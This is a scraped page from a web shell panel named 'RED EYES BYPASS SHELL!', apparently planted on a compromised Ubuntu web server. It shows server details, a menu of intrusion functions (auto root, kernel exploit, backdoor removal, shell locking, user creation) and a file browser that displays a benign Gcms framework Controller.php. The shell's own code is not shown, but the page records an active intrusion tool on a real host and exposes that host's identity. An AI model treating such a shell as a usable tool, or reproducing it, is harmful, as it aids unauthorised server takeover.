Linux sothorn202 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Gcms /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Api.php
2.52
KB
-rwxr-xr-x
Category.php
6.81
KB
-rwxr-xr-x
Config.php
8.44
KB
-rwxr-xr-x
Controller.php
5.07
KB
-rwxr-xr-x
Line.php
5.56
KB
-rwxr-xr-x
Login.php
13.95
KB
-rwxr-xr-x
Modules.php
3.03
KB
-rwxr-xr-x
Router.php
1.05
KB
-rwxr-xr-x
View.php
4.57
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Controller.php
<?php /** * @filesource Gcms/Controller.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Gcms; use Kotchasan\Http\Uri; /** * Controller base class * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class Controller extends \Kotchasan\Controller { /** * View * * @var \Gcms\View */ public static $view; /** * เก็บคลาสของเมนูที่เลือก * * @var string */ public $menu; /** * ข้อความไตเติลบาร์ * * @var string */ public $title; /** * @var string */ public $description; /** * @var string */ public $keywords; /** * @var string */ public $ogimage; /** * เนื้อหา * * @var string */ public $detail; /** * URL หน้าที่เรียก * * @var \Kotchasan\Http\Uri */ public $canonical = null; /** * สำหรับระบ class ของ body * * @var boolean */ public $bodyClass = 'mainpage'; /** * สถานะของเพจ * 200 ปกติ * 404 ไม่พบ * * @var int */ public $status = 200; /** * Menu Controller * * @var \Index\Menu\Controller */ protected static $menus; /** * Module Controller * * @var \Gcms\Modules */ protected static $modules; /** * init Class */ public function __construct() { // ค่าเริ่มต้นของ Controller $this->title = strip_tags(self::$cfg->web_title); $this->description = self::$cfg->web_description; $this->keywords = self::$cfg->web_description; $this->menu = 'home'; } /** * โหลด permissions ของโมดูลต่างๆ * * @return array */ public static function getPermissions() { // permissions เริ่มต้น $permissions = \Kotchasan\Language::get('PERMISSIONS'); // โหลดค่าติดตั้งโมดูล return self::initModule($permissions, 'updatePermissions'); } /** * โหลด permissions ของโมดูลต่างๆ * * @param array $datas * @param string $method * @param mixed $params * * @return array */ public static function initModule($datas, $method, &$params = null) { // โหลดค่าติดตั้งโมดูล $dir = ROOT_PATH.'modules/'; $f = @opendir($dir); if ($f) { while (false !== ($text = readdir($f))) { if ($text != '.' && $text != '..' && $text != 'index' && $text != 'css' && $text != 'js' && is_dir($dir.$text)) { if (is_file($dir.$text.'/controllers/init.php')) { require_once $dir.$text.'/controllers/init.php'; $className = '\\'.ucfirst($text).'\Init\Controller'; if (method_exists($className, $method)) { $datas = $className::$method($datas, $params); } } } } closedir($f); } return $datas; } /** * ชื่อเมนูที่เลือก * * @return string */ public function menu() { return $this->menu; } /** * ข้อความ title bar * * @return string */ public function title() { return $this->title; } /** * คืนค่า URL ของหน้าที่เลือก * * @return \Kotchasan\Http\Uri */ public function canonical() { if ($this->canonical === null) { $this->canonical = Uri::createFromGlobals(); } return $this->canonical; } /** * คืนค่าสถานะของเพจ เช่น * 200 สำเร็จ * 404 ไม่พบ * * @return int */ public function status() { return $this->status; } /** * คืนค่าเนื้อหา * * @return string */ public function detail() { return $this->detail; } /** * @return string */ public function description() { return $this->description; } /** * @return string */ public function keywords() { return $this->keywords; } /** * @return string */ public function ogimage() { return $this->ogimage; } /** * @return string */ public function bodyClass() { return $this->bodyClass; } /** * คืนค่าเมนู * * @return \Index\Menu\Controller */ public static function menus() { return self::$menus; } }
Close